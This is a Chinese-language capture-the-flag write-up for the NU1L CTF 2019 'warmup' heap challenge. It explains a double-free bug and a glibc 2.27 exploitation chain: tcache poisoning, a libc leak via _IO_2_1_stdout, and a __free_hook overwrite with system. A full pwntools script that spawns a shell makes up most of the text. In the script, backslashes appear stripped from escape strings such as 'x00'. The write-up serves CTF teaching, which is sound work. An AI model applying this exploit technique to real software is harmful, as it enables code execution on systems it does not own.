Challenge
-
题目:warmpup
-
类型:pwnable
-
来源:NU1L CTF 2019
-
环境:Ubuntu 18.04
-
难度:Easy
Analysis
照旧先看一下保护
checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
菜单题,每次malloc大小固定为0x40;modify可以设置全局指针,最多读入0x40字节;free之后虽然指针清零了,但是还存在一个全局的指针,存在double free漏洞。
void dele_C73()
{
int idx; // [rsp+4h] [rbp-Ch]
printf("index:");
idx = read_int_B4E();
if ( idx >= 0 && idx <= 9 )
{
if ( g_202080[idx] )
ptr = (void *)g_202080[idx];
if ( ptr )
{
free(ptr);
g_202080[idx] = 0LL;
puts("done!");
}
else
{
puts("no such note!");
}
}
else
{
puts("invalid");
}
}
由于malloc的大小有限,因此需要利用tcache poisoning attack使链接指向伪造的一个较大的chunk(0x90),然后通过8次free使该chunk进入unsorted bin里,这样堆上就会出现libc的地址(0x55555575680)。
0x555555757660: 0x0000000000000000 0x0000000000000051
0x555555757670: 0x0000555555757632 0x0000000000000091
0x555555757680: 0x0000155555326ca0 0x0000155555326ca0
0x555555757690: 0x0000000000000000 0x0000000000000000
0x5555557576a0: 0x0000000000000000 0x0000000000000000
0x5555557576b0: 0x0000000000000000 0x0000000000000051
然后我们再一次利用tcache poisoning attack使链接指向_IO_2_1_stdout,修改_flags和_IO_write_base的值,完成leak。注意tcache->counts如果变成0xff,再free就不会再进入tcache,因此事先多free几次,以防其变成0xff。
(0x50) tcache_entry[3]: 0x555555757670 --> 0x555555757680
...
gdb-peda$ x/xg 0x555555757680
0x555555757680: 0x0000155555327760
最后再利用一次tcache poisoning attack修改__free_hook为system,即可完成利用。
Solution
完整利用脚本如下,由于libc那里有4个bit的随机化,最后成功的概率是1/16
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
libc = ELF('./libc-2.27.so')
r = process('./warmup', aslr=False )
def add(content):
r.sendlineafter('>>', '1'.ljust(14, ' '))
r.sendafter('>>', content)
def dele(idx):
r.sendlineafter('>>', '2'.ljust(14, ' '))
r.sendlineafter(':', str(idx).ljust(15, 'x00'))
def modify(idx, content=''):
r.sendlineafter('>>', '3'.ljust(14, ' '))
r.sendlineafter(':', str(idx).ljust(15, 'x00'))
if len(content):
r.sendafter('>>', content)
else:
pass
for i in range(7):
add(str(i))
modify(0, p64(0) + p64(0x91)) # set ptr
for i in range(5):
dele(str(i+2))
dele(0)
dele(0)
add('x80') # 0
add('2')
add('3')
for i in range(8):
dele(3)
modify(0, p64(0) + p64(0x51) + 'x60x77') # set ptr
dele(0)
dele(0)
add('x80') # 0
add('x')
add('x')
add(p64(0xfbad1887) + p64(0)*3 + 'x00')
r.recvuntil('x00'*8, timeout=1, drop=True)
libc.address = u64(r.recv(8)) - 0x3ed8b0
log.info(hex(libc.address))
dele(0)
dele(0)
add(p64(libc.sym['__free_hook']))
add('/bin/shx00'.ljust(0x40, 'x00'))
add(p64(libc.sym['system']))
dele(0)
r.interactive()
原文始发于微信公众号(pwnable):warmup
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论